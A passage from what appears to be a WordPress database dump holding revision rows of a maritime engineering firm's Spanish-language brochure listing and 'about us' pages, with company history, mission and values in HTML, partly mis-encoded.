class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/urban-waterfronts-marinas-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/URBAN1WATERFRONTS11SPANISH.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-3.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">TERMINALES DE TRANSBORDADORES </span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Moffatt & Nichol es una de las empresas de consultorÃa e ingenierÃa marÃtimas internacionales mÃ¡s grandes del mundo. Su equipo de profesionales ofrece experiencia en el planeamiento y el diseÃ±o de instalaciones relacionadas con ferries.<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/ferry-terminals-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/FERRY1TERMINALS1SPANISH1portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n    <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-1.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">ReparaciÃ³n de astilleros y naves</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Moffatt & Nichol se especializa en todos los aspectos del desarrollo industrial de muelles, incluyendo una vasta experiencia en el diseÃ±o y la rehabilitaciÃ³n de astilleros e instalaciones para la reparaciÃ³n de buques.<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/shipyard-and-ship-repair-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/SHIPYARD1and1SHIP1REPAIR1FACILITIES1Spanish.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-7.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">EnergÃa eÃ³lica</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Moffatt & Nichol tiene la capacidad de ayudar a sus clientes a superar los desafÃos de los proyectos de desarrollo de energÃa eÃ³lica, tanto en alta mar como en tierra firme. Combinamos nuestra experiencia<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/wind-power-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/FERRY1TERMINALS.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n    <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-1.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">Desarrollo de terminales de contenedores</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Con dÃ©cadas de experiencia trabajando con autoridades portuarias y operadores mundiales de terminales marÃtimas, Moffatt & Nichol es reconocido como lÃder innovador en la planeaciÃ³n y diseÃ±o de puertos;<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/container-terminal-development-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/CONTAINER1TERMINAL1DEVELOPMENT1SPANISH1portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    \r\n  </div>\r\n  </div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>\r\n','Folletos-Español','','inherit','open','open','','1995-revision-15','','','2012-06-14 12:24:41','2012-06-14 12:24:41','',1995,'http://moffattnichol.com/spanish/1995-revision-15/',0,'revision','',0),(2444,1,'2012-06-14 12:25:42','2012-06-14 12:25:42','<div class=\"content_faq\">\r\n  <div class=\"brochure-wrapper-new\">\r\n    <h3>folletos-español</h3>\r\n    <br />\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-1.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">DESCRIPCIÓN GENERAL</span> <br />\r\n        <em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n        Moffatt & Nichol fue fundada en 1945 para proveer servicios de ingeniería y consultoría a la industria marítima. En la actualidad, Moffatt & Nichol brinda apoyo a proyectos portuarios y marinos, infraestructura<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/overview-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/OVERVIEW1BROCHURE1SPANISH.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-3.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">DRAGADO</span> <br />\r\n        <em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n        Moffatt & Nichol, una de las empresas de ingeniería y planeamiento marítimo más destacadas del mundo, ofrece a sus clientes una serie completa de servicios de planeamiento y diseño para instalaciones y terminales de manejo de materiales a granel.<br />\r\n        <br />\r\n        <br />\r\n        <br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/bulk-handling-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/BULK1HANDLING1FACILITIES1Spanish1Portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n  <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-7.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">RECURSOS COSTEROS</span> <br />\r\n        <em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n        La reputación de la excelencia de Moffatt & Nichol en el ambiente costero se basa sobre años de experiencia en proyectos desafiantes. La firma ofrece a sus clientes, personal profesional  con amplio conocimiento que incluye ingenieros<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/coastal-resources-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/COASTAL1ENVIRONMENTAL1WATER1RESOURCES1SPANISH.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-8.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">DRAGADO</span> <br />\r\n        <em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n        Moffatt & Nichol, lÃder en ingenierÃa costera, estÃ¡ a la vanguardia de los servicios especializados en gestiÃ³n de ingenierÃa y construcciÃ³n para proyectos de dragado en mar abierto, puertos, humedales costeros,<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/dredging-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/DREDGING1SPANISH1portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n  <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-2.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">PUERTOS</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Como una de las firmas especializadas en ingenierÃa y planeamiento marino del mundo, Moffatt & Nichol ha jugado un papel importante en la evoluciÃ³n del puerto moderno. La firma tiene una reputaciÃ³n a nivel mundial<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/ports-harbors-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/PORTS1HARBORS1MARINE1TERMINALS1SPANISH.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/rail-2.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">SERVICIOS FERROVIARIOS</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n       Moffatt & Nichol se ha especializado en el planeamiento y el diseÃ±o de proyectos de obras civiles de gran capacidad, que incluyen instalaciones de rieles, para clientes en toda NorteamÃ©rica, Europa y LatinoamÃ©rica.<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/rail-services-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/RAIL1SERVICES1SPANISH1portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n  <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-1.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">FRENTES DE MAR URBANOS Y PUERTOS DEPORTIVOS</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Las Ã¡reas costeras de hoy en dÃa son catalizadores de la actividad econÃ³mica. La prÃ¡ctica de Moffatt & Nichol en Ã¡reas costeras y marinas se estableciÃ³ en la dÃ©cada de los 60, a medida que se incrementaba la popularidad de<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/urban-waterfronts-marinas-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/URBAN1WATERFRONTS11SPANISH.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-3.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">TERMINALES DE TRANSBORDADORES </span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Moffatt & Nichol es una de las empresas de consultorÃa e ingenierÃa marÃtimas internacionales mÃ¡s grandes del mundo. Su equipo de profesionales ofrece experiencia en el planeamiento y el diseÃ±o de instalaciones relacionadas con ferries.<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/ferry-terminals-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/FERRY1TERMINALS1SPANISH1portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n    <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-1.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">ReparaciÃ³n de astilleros y naves</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Moffatt & Nichol se especializa en todos los aspectos del desarrollo industrial de muelles, incluyendo una vasta experiencia en el diseÃ±o y la rehabilitaciÃ³n de astilleros e instalaciones para la reparaciÃ³n de buques.<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/shipyard-and-ship-repair-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/SHIPYARD1and1SHIP1REPAIR1FACILITIES1Spanish.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-7.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">EnergÃa eÃ³lica</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Moffatt & Nichol tiene la capacidad de ayudar a sus clientes a superar los desafÃos de los proyectos de desarrollo de energÃa eÃ³lica, tanto en alta mar como en tierra firme. Combinamos nuestra experiencia<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/wind-power-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/FERRY1TERMINALS.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n    <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-1.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">Desarrollo de terminales de contenedores</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Con dÃ©cadas de experiencia trabajando con autoridades portuarias y operadores mundiales de terminales marÃtimas, Moffatt & Nichol es reconocido como lÃder innovador en la planeaciÃ³n y diseÃ±o de puertos;<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/container-terminal-development-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/CONTAINER1TERMINAL1DEVELOPMENT1SPANISH1portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    \r\n  </div>\r\n  </div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>\r\n','Folletos-Español','','inherit','open','open','','1995-revision-16','','','2012-06-14 12:25:42','2012-06-14 12:25:42','',1995,'http://moffattnichol.com/spanish/1995-revision-16/',0,'revision','',0),(2445,1,'2012-06-13 09:12:53','2012-06-13 09:12:53','<div class=\"content_faq\">\r\n<div class=\"new-about-blackbox\"><a href=\"#\"><img class=\"fl\" title=\"John Moffatt\" src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/moffat.jpg\" alt=\"\" width=\"169\" height=\"205\" border=\"0\" /></a><a href=\"#\"><img class=\"fl\" title=\"Frank Nichol\" src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/nichol.jpg\" alt=\"\" width=\"167\" height=\"205\" border=\"0\" /></a> <a href=\"#\"><img class=\"fl\" title=\"Los directores fundadores\" src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/principles.jpg\" alt=\"\" width=\"240\" height=\"205\" border=\"0\" /></a></div>\r\n<span class=\"photo-title \">John Moffatt</span><span class=\"photo-title \">Frank Nichol</span><span class=\"photo-title-principal \">Directores fundadores</span>\r\n&nbsp; &nbsp;\r\n<div class=\"about-us-left\">\r\n<h3>acerca de moffatt &amp; nichol</h3> En 1945, Frank Nichol y John Moffatt formaron una sociedad sobre la tabla de cocina de Nichol en Long Beach, California. Como gerentes de proyecto para importantes instalaciones navales del sur de California durante la Segunda Guerra Mundial, habÃan establecido una reputaciÃ³n como ingenieros creativos que entregaban diseños factibles de construirse. Durante sus distinguidas carreras, buscaron mejorar la calidad de la ingenierÃa de frentes costeros, consolidando una firma que irÃa mucho mÃ¡s allÃ¡ de la costa.\r\n\r\nHoy, la firma tiene su sede principal en Long Beach, California y funciona a lo largo y ancho de Norteamérica, Europa, América Latina y la Cuenca del PacÃfico; la especialidad de Moffatt &amp; Nichol se ha expandido para dar apoyo a las mayores demandas de la industria del movimiento de mercancÃas a nivel mundial. Hoy en dÃa, con una cartera de mÃ¡s de 7.000 proyectos, la firma proporciona a clientes de todo el mundo un servicio personalizado y un nivel de excelencia que se han convertido en un sello distintivo en la industria en seis Ã¡reas principales: puertos; recursos costeros, medioambientales e hÃdricos; frentes de mar urbanos y puertos deportivos; transporte, puentes y ferrocarriles; inspecciÃ³n y rehabilitaciÃ³n; y energÃa. Estas Ã¡reas de especializaciÃ³n son complementadas por un grupo asesor comercial interno con analistas marÃtimos y de logÃstica que se especializan en la adquisiciÃ³n y fusiÃ³n de activos de infraestructura marÃtima, sistemas de transporte intermodal y pronÃ³sticos de ingresos asociados con el movimiento de carga.\r\n\r\nNuestro personal profesional y técnico de calidad mundial ofrece a los clientes una visiÃ³n integral del proyecto, con prÃ¡cticas esenciales que reflejan la correlaciÃ³n Ãºnica entre el lugar y el proyecto, proporcionando una amplia perspectiva desde el planeamiento al diseño y hasta la terminaciÃ³n del proyecto.\r\n\r\n<br />\r\n\r\n<h3>nuestra misiÃ³n</h3> Ofrecemos soluciones que son innovadoras, prÃ¡cticas, rentables y eficientes, pero nos distinguimos de la competencia con décadas de imaginaciÃ³n y un nivel de experiencia y calidad que no tiene igual. \r\n\r\n<br />\r\n\r\n<h3>nuestra visiÃ³n</h3> En Moffatt & Nichol, la creatividad es nuestro negocio, la satisfacciÃ³n del cliente nuestra prioridad, y el servicio que proporcionamos en seis Ã¡reas principales de la prÃ¡ctica es lo que nos motiva para ser los mejores en lo que hacemos. Seguimos comprometidos a proporcionar soluciones innovadoras y a estar a la vanguardia de la industria en tecnologÃa. Nuestra experiencia incomparable se basa en décadas de excelencia técnica y creatividad, y nuestro enfoque inquebrantable se refleja en nuestros éxitos.\r\n\r\n<br />\r\n\r\n<h3>nuestros valores</h3> Nuestros valores son la base de nuestra cultura y reputaciÃ³n, gobiernan nuestras acciones y refuerzan las convicciones fundamentales que sostienen a Moffatt &amp; Nichol.\r\n<ul>\r\n	<li>La integridad es el valor supremo. Ser justos, honestos y francos con todos.</li>\r\n	<li>Mantener una fuerte tradiciÃ³n de conducta ética como la base de nuestro negocio.</li>\r\n	<li>JamÃ¡s hay que basarse en éxitos pasados. Mejorar constantemente nuestras habilidades y métodos.</li>\r\n	<li>Rendir mÃ¡s de lo esperado en las tareas del proyecto, al mismo tiempo que se entiende la importante diferencia entre excelencia y perfecciÃ³n.</li>\r\n	<li>Asegurar nuestro futuro mediante la superaciÃ³n constante de las expectativas de nuestros clientes.</li>\r\n	<li>Respetar a nuestros competidores.</li>\r\n	<li>Compartir nuestras ganancias con los empleados.</li>\r\n	<li>Mantener una meritocracia en donde el trabajo duro, los sacrificios y los logros de los empleados son recompensados.</li>\r\n	<li>Ser buenos ciudadanos corporativos dentro de nuestras comunidades.</li>\r\n	<li>Valorar la diversidad de pensamientos y culturas.</li>\r\n</ul>\r\n</div>\r\n<div class=\"about-us-right\">\r\n<h3>certificaciones</h3>\r\n<p style=\"text-align: left;\">Moffatt &amp; Nichol mantiene varias certificaciones profesionales. Nuestros profesionales son colegiados y certificados en varias especialidades, que pueden ser proporcionadas si son necesarias. Si desea mÃ¡s informaciÃ³n, pÃ³ngase en contacto con <a href=\"mailto:info@moffattnichol.com\">info@moffattnichol.com</a></p>\r\n\r\n<div class=\"certi-images\"><img title=\"Certificaciones\" src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/iso-certification.jpg\" alt=\"Certificaciones\" /></div>\r\n<div class=\"about-text-rightnew\">Nota: Esto es solamente para la oficina de Londres.</div>\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>','Acerca de nosotros','','inherit','open','open','','295-revision-6','','','2012-06-13 09:12:53','2012-06-13 09:12:53','',295,'http://moffattnichol.com/spanish/295-revision-6/',0,'revision','',0),(2446,1,'2012-06-14 12:41:05','2012-06-14 12:41:05','<div class=\"content_faq\">\r\n<div class=\"new-about-blackbox\"><a href=\"#\"><img class=\"fl\" title=\"John Moffatt\" src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/moffat.jpg\" alt=\"\" width=\"169\" height=\"205\" border=\"0\" /></a><a href=\"#\"><img class=\"fl\" title=\"Frank Nichol\" src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/nichol.jpg\" alt=\"\" width=\"167\" height=\"205\" border=\"0\" /></a> <a href=\"#\"><img class=\"fl\" title=\"Los directores fundadores\" src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/principles.jpg\" alt=\"\" width=\"240\" height=\"205\" border=\"0\" /></a></div>\r\n<span class=\"photo-title \">John Moffatt</span><span class=\"photo-title \">Frank Nichol</span><span class=\"photo-title-principal \">Directores fundadores</span>\r\n&nbsp; &nbsp;\r\n<div class=\"about-us-left\">\r\n<h3>acerca de moffatt &amp; nichol</h3> En 1945, Frank Nichol y John Moffatt formaron una sociedad sobre la tabla de cocina de Nichol en Long Beach, California. Como gerentes de proyecto para importantes instalaciones navales del sur de California durante la Segunda Guerra Mundial, habían establecido una reputación como ingenieros creativos que entregaban diseños factibles de construirse. Durante sus distinguidas carreras, buscaron mejorar la calidad de la ingeniería de frentes costeros, consolidando una firma que iría mucho más allá de la costa.\r\n\r\nHoy, la firma tiene su sede principal en Long Beach, California y funciona a lo largo y ancho de Norteamérica, Europa, América Latina y la Cuenca del Pacífico; la especialidad de Moffatt &amp; Nichol se ha expandido para dar apoyo a las mayores demandas de la industria del movimiento de mercancías a nivel mundial. Hoy en día, con una cartera de más de 7.000 proyectos, la firma proporciona a clientes de todo el mundo un servicio personalizado y un nivel de excelencia que se han convertido en un sello distintivo en la industria en seis áreas principales: puertos; recursos costeros, medioambientales e hídricos; frentes de mar urbanos y puertos deportivos; transporte, puentes y ferrocarriles; inspección y rehabilitación; y energía. Estas áreas de especialización son complementadas por un grupo asesor comercial interno con analistas marítimos y de logística que se especializan en la adquisición y fusión de activos de infraestructura marítima, sistemas de transporte intermodal y pronósticos de ingresos asociados con el movimiento de carga.\r\n\r\nNuestro personal profesional y técnico de calidad mundial ofrece a los clientes una visión integral del proyecto, con prácticas esenciales que reflejan la correlación única entre el lugar y el proyecto, proporcionando una amplia perspectiva desde el planeamiento al diseño y hasta la terminación del proyecto.\r\n\r\n<br />\r\n\r\n<h3>nuestra misión</h3> Ofrecemos soluciones que son innovadoras, prácticas, rentables y eficientes, pero nos distinguimos de la competencia con décadas de imaginación y un nivel de experiencia y calidad que no tiene igual. \r\n\r\n<br />\r\n\r\n<h3>nuestra visión</h3> En Moffatt & Nichol, la creatividad es nuestro negocio, la satisfacción del cliente nuestra prioridad, y el servicio que proporcionamos en seis áreas principales de la práctica es lo que nos motiva para ser los mejores en lo que hacemos. Seguimos comprometidos a proporcionar soluciones innovadoras y a estar a la vanguardia de la industria en tecnología. Nuestra experiencia incomparable se basa en décadas de excelencia técnica y creatividad, y nuestro enfoque inquebrantable se refleja en nuestros éxitos.\r\n\r\n<br />\r\n\r\n<h3>nuestros valores</h3> Nuestros valores son la base de nuestra cultura y reputación, gobiernan nuestras acciones y refuerzan las convicciones fundamentales que sostienen a Moffatt &amp; Nichol.\r\n<ul>\r\n	<li>La integridad es el valor supremo. Ser justos, honestos y francos con todos.</li>\r\n	<li>Mantener una fuerte tradición de conducta ética como la base de nuestro negocio.</li>\r\n	<li>Jamás hay que basarse en éxitos pasados. Mejorar constantemente nuestras habilidades y métodos.</li>\r\n	<li>Rendir más de lo esperado en las tareas del proyecto, al mismo tiempo que se entiende la importante diferencia entre excelencia y perfección.</li>\r\n	<li>Asegurar nuestro futuro mediante la superación constante de las expectativas de nuestros clientes.</li>\r\n	<li>Respetar a nuestros competidores.</li>\r\n	<li>Compartir nuestras ganancias con los empleados.</li>\r\n	<li>Mantener una meritocracia en donde el trabajo duro, los sacrificios y los logros de los empleados son recompensados.</li>\r\n	<li>Ser buenos ciudadanos corporativos dentro de nuestras comunidades.</li>\r\n	<li>Valorar la diversidad de pensamientos y culturas.</li>\r\n</ul>\r\n</div>\r\n<div class=\"about-us-right\">\r\n<h3>certificaciones</h3>\r\n<p style=\"text-align: left;\">Moffatt &amp; Nichol mantiene varias certificaciones profesionales. Nuestros profesionales son colegiados y certificados en varias especialidades, que pueden ser proporcionadas si son necesarias. Si desea mÃ¡s informaciÃ³n, pÃ³ngase en contacto con <a href=\"mailto:info@moffattnichol.com\">info@moffattnichol.com</a></p>\r\n\r\n<div class=\"certi-images\"><img title=\"Certificaciones\" src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/iso-certification.jpg\" alt=\"Certificaciones\" /></div>\r\n<div class=\"about-text-rightnew\">Nota: Esto es solamente para la oficina de Londres.</div>\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>','Acerca de nosotros','','inherit','open','open','','295-revision-7','','','2012-06-14 12:41:05','2012-06-14 12:41:05','',295,'http://moffattnichol.com/spanish/295-revision-7/',0,'revision','',0),(2447,1,'2012-06-14 12:43:35','2012-06-14 12:43:35','<div class=\"content_faq\">\r\n<div class=\"new-about-blackbox\"><a href=\"#\"><img class=\"fl\" title=\"John Moffatt\" src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/moffat.jpg\" alt=\"\" width=\"169\" height=\"205\" border=\"0\" /></a><a href=\"#\"><img class=\"fl\" title=\"Frank Nichol\" src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/nichol.jpg\" alt=\"\" width=\"167\" height=\"205\" border=\"0\" /></a> <a href=\"#\"><img class=\"fl\" title=\"Los directores fundadores\" src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/principles.jpg\" alt=\"\" width=\"240\" height=\"205\" border=\"0\" /></a></div>\r\n<span class=\"photo-title \">John Moffatt</span><span class=\"photo-title \">Frank Nichol</span><span class=\"photo-title-principal \">Directores fundadores</span>\r\n&nbsp; &nbsp;\r\n<div class=\"about-us-left\">\r\n<h3>acerca de moffatt &amp; nichol</h3> En 1945, Frank Nichol y John Moffatt formaron una sociedad sobre la tabla de cocina de Nichol en Long Beach, California. Como gerentes de proyecto para importantes instalaciones navales del sur de California durante la Segunda Guerra Mundial, habían establecido una reputación como ingenieros creativos que entregaban diseños factibles de construirse. Durante sus distinguidas carreras, buscaron mejorar la calidad de la ingeniería de frentes costeros, consolidando una firma que iría mucho más allá de la costa.\r\n\r\nHoy, la firma tiene su sede principal en Long Beach, California y funciona a lo largo y ancho de Norteamérica, Europa, América Latina y la Cuenca del Pacífico; la especialidad de Moffatt &amp; Nichol se ha 